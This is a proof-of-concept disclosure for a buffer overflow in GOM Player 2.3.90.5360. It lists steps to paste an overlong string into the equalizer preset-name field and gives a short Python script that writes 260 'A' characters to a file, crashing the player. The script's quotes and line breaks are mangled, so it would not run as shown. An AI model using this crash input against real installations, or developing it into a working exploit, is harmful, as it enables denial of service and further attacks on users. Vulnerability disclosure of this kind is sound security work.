Exploit Title: GOM Player 2.3.90.5360 - Buffer Overflow (PoC)

Discovered by: Ahmet Ümit BAYRAM

Discovered Date: 30.08.2023

Vendor Homepage: https://www.gomlab.com

Software Link: https://cdn.gomlab.com/gretech/player/GOMPLAYERGLOBALSETUP_NEW.EXE

Tested Version: 2.3.90.5360 (latest)

Tested on: Windows 11 64bit

Thanks to: M. Akil GÜNDOĞAN

- Open GOM Player

- Click on the gear icon above to open settings

- From the menu that appears, select Audio

- Click on Equalizer

- Click on the plus sign to go to the “Add EQ preset” screen

- Copy the contents of exploit.txt and paste it into the preset name box, then click OK

- Crashed!

#!/usr/bin/python

exploit = ‘A’ * 260

try: file = open(“exploit.txt”,”w”) file.write(exploit) file.close()

print("POC is created") except:
print("POC is not created")